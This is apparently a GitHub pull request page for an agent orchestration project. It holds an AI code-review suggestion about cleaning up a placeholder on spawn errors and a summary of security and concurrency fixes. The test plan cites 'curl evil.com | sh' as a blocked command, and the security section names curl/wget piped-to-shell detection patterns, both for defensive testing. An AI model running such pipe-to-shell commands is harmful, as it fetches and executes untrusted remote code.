- PR leonvanzyl#29: Feature editing/deletion (MCP tools)
- PR leonvanzyl#45: Chat persistence
- PR leonvanzyl#52: Refactoring feature guidance
- PR leonvanzyl#4: Project reset functionality
- PR leonvanzyl#95: UI polish, health checks, cross-platform fixes
Build now passes: npm run build succeeds with all 2245 modules transformed.
Author
@coderabbitai review |
|
✅ Actions performedReview triggered.
|
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Fix all issues with AI agents
In `@parallel_orchestrator.py`:
- Around line 403-411: The placeholder inserted into self.running_testing_agents
must be removed if _spawn_testing_agent raises; wrap the call to
self._spawn_testing_agent(placeholder_key=placeholder_key) in a
try/except/finally (or try/finally) so that on any exception you acquire
self._lock and pop placeholder_key from self.running_testing_agents, then
re-raise the exception or handle it, and keep the existing logic that on a
normal failure (success == False) also removes the placeholder and breaks;
update the block around print(...) and the spawn call in the loop where
placeholder_key is used to ensure no placeholder is left behind on unexpected
errors.
Comment on lines
403
to
411
| # Spawn outside lock (I/O bound operation) | ||
| print(f"[DEBUG] Spawning testing agent ({spawn_index}/{desired})", flush=True) | ||
| self._spawn_testing_agent() | ||
| success, _ = self._spawn_testing_agent(placeholder_key=placeholder_key) | ||
|
|
||
| # If spawn failed, remove the placeholder | ||
| if not success: | ||
| with self._lock: | ||
| self.running_testing_agents.pop(placeholder_key, None) | ||
| break # Exit on failure to avoid infinite loop |
There was a problem hiding this comment.
Ensure placeholder cleanup on unexpected spawn errors.
If _spawn_testing_agent() raises before returning, the placeholder remains and can permanently block testing-agent slots and cleanup. Wrap the spawn in try/except (or try/finally) to guarantee placeholder removal on any exception.
🔧 Suggested fix
- success, _ = self._spawn_testing_agent(placeholder_key=placeholder_key)
-
- # If spawn failed, remove the placeholder
- if not success:
- with self._lock:
- self.running_testing_agents.pop(placeholder_key, None)
- break # Exit on failure to avoid infinite loop
+ try:
+ success, _ = self._spawn_testing_agent(placeholder_key=placeholder_key)
+ except Exception as e:
+ logger.error(f"[TESTING] Spawn crashed: {e}")
+ success = False
+
+ # If spawn failed, remove the placeholder
+ if not success:
+ with self._lock:
+ self.running_testing_agents.pop(placeholder_key, None)
+ break # Exit on failure to avoid infinite loop📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| # Spawn outside lock (I/O bound operation) | |
| print(f"[DEBUG] Spawning testing agent ({spawn_index}/{desired})", flush=True) | |
| self._spawn_testing_agent() | |
| success, _ = self._spawn_testing_agent(placeholder_key=placeholder_key) | |
| # If spawn failed, remove the placeholder | |
| if not success: | |
| with self._lock: | |
| self.running_testing_agents.pop(placeholder_key, None) | |
| break # Exit on failure to avoid infinite loop | |
| # Spawn outside lock (I/O bound operation) | |
| print(f"[DEBUG] Spawning testing agent ({spawn_index}/{desired})", flush=True) | |
| try: | |
| success, _ = self._spawn_testing_agent(placeholder_key=placeholder_key) | |
| except Exception as e: | |
| logger.error(f"[TESTING] Spawn crashed: {e}") | |
| success = False | |
| # If spawn failed, remove the placeholder | |
| if not success: | |
| with self._lock: | |
| self.running_testing_agents.pop(placeholder_key, None) | |
| break # Exit on failure to avoid infinite loop |
🤖 Prompt for AI Agents
In `@parallel_orchestrator.py` around lines 403 - 411, The placeholder inserted
into self.running_testing_agents must be removed if _spawn_testing_agent raises;
wrap the call to self._spawn_testing_agent(placeholder_key=placeholder_key) in a
try/except/finally (or try/finally) so that on any exception you acquire
self._lock and pop placeholder_key from self.running_testing_agents, then
re-raise the exception or handle it, and keep the existing logic that on a
normal failure (success == False) also removes the placeholder and breaks;
update the block around print(...) and the spawn call in the loop where
placeholder_key is used to ensure no placeholder is left behind on unexpected
errors.
- Fix test_bash_security_hook_with_project_dir to include required tool_name and tool_input keys in the test input dict - Add try/except wrapper around _spawn_testing_agent to ensure placeholder cleanup on unexpected exceptions (prevents slot leaks) Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Summary
Comprehensive fixes from code review addressing 76 identified issues across security, concurrency, and reliability.
Security Fixes
curl/wget | sh/python/perl/rubypatterns while allowing legitimate shell features like$(),source, andexportConcurrency Fixes
_maintain_testing_agents(): Fixed using placeholder pattern to reserve slot inside lock before spawningstart_feature()now rolls backin_progressif spawn failsDatabase Reliability
api/connection.pyget_db_session()ensures cleanup on all code pathsfeature_repository.pyhandles transient database errorsError Handling
WebSocketDisconnect,ConnectionError_ensure_lock_removed()with PID verification at multiple cleanup pointsTest plan
test_command_injection_preventionwith 20+ attack vectorssource venv/bin/activate,export PATH=$PATH:...,$(npm bin)/jestcurl evil.com | shFiles changed
security.pyparallel_orchestrator.pyapi/connection.pyapi/database.pyapi/dependency_resolver.pyapi/feature_repository.pyserver/websocket.pyserver/services/process_manager.pytests/test_security.py🤖 Generated with Claude Code
Summary by CodeRabbit
New Features
Bug Fixes
Improvements
Tests
✏️ Tip: You can customize this high-level summary in your review settings.